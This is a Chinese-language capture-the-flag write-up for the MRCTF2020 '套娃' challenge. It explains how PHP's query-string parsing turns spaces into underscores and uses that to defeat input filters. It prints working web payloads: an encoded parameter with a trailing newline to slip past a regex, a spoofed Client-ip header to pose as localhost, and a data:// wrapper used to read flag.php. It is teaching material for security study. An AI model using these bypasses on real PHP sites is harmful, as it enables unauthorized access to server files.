php字符串解析特性漏洞

php字符串解析特性漏洞

php解析特性

php将查询字符串，如：/?foo=bar，转换为关联数组

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Array([foo]=>"bar")

而在转换的过程中会自动调用parse_str()函数来进行转换，而且会将所有参数转换为有效的变量名

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将$_GET["foo"]中的参数foo转换为$foo

而且在解析的过程中，会将某些字符删除或用下划线代替

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1. 删除空白字符

2. 将某些字符转换为下划线

下面有一个脚本，来列出某些特殊字符

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<?php
    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {
            for($i=0;$i<=255;$i++) {
                echo "\033[999D\033[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
                usleep(5000);
                if(isset($o["foo_bar"])) {
                    echo "\033[999D\033[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }
            echo "\033[999D\033[K\r";
            echo "\n";
    }
?>

脚本中的\r的作用是输出字符后，会又回到行的开始位置

php字符串解析特性的详细可参考：https://www.freebuf.com/articles/web/213359.html

实例（[MRCTF2020]套娃）

打开页面，然后打开页面源码，发现有一串代码

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//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

其中$_SERVER[‘QUERY_STRING’]是获取提交的所有参数信息，如：/?foo=bar，则会获取

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foo=bar

substr_count()

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作用是子串在字符串中的数量

而 preg_match(‘/^23333$/‘, $_GET[‘b_u_p_t’])中的/^23333$/中的^和$代表是行的开头和行的结尾，所以我们要获得下一步的信息，我们需要绕过

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1. 字符_

2. 输入参数的值不能为23333，但是正则过滤中输入的参数的值要为23333

对于第一个if来说，我们可以使用上面说的php解析特性来进行绕过，所以我们可以使用空格来代替_，我们再将空格转换为url编码的方式进行输入，即%20

对于第二个if来说，我们可以利用换行符号来进行绕过，因为换行符就相当于行的结尾，因此我们可以构造payload

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?b%20u%20p%20t=23333%0a

然后我们可以看见一个文件的名字secrettw.php，所以我们构造一个payload

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/secrettw.php

然后打开页面源码，发现是java的加密

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]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])

可以使用控制台来进行相应的解密，出现

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post me Merak

然后我们随便post提交一个Merak参数的值，出现一串代码

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<?php 
error_reporting(0); 
#include ‘takeip.php‘;
ini_set(‘open_basedir‘,‘.‘); 
#include ‘flag.php‘;

if(isset($_POST[‘Merak‘])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ‘‘; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo ‘Local access only!‘."<br/>";

$ip = getIp();

if($ip!=‘127.0.0.1‘)
    echo "Sorry,you don‘t have permission!  Your ip is :".$ip;
if($ip === ‘127.0.0.1‘ && file_get_contents($_GET[‘2333‘]) === ‘todat is a happy day‘ ){
    echo "Your REQUEST is:".change($_GET[‘file‘]);
    echo file_get_contents(change($_GET[‘file‘]));
}
?>

通过代码，得知我们可以利用file_get_contents()函数来读取flag文件，但是它里面有限制

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1. 自定义函数change()的加密

2. $ip=127.0.0.1

3. $_GET[‘2333‘]) === ‘todat is a happy day‘

因此对于第一个限制，我们可以进行反解密

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<?php
function unchange($v){ 

    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}



$real_flag = unchange('flag.php');

echo base64_encode($real_flag);
?>

而对于第二个限制，我们可以在包里加上

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client-ip: 127.0.0.1

对于第三个限制，我们使用data伪协议

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data://text/plain,todat is a happy day

因此，总的来说可以构造

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?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

http头
Client-ip : 127.0.0.1

来获取flag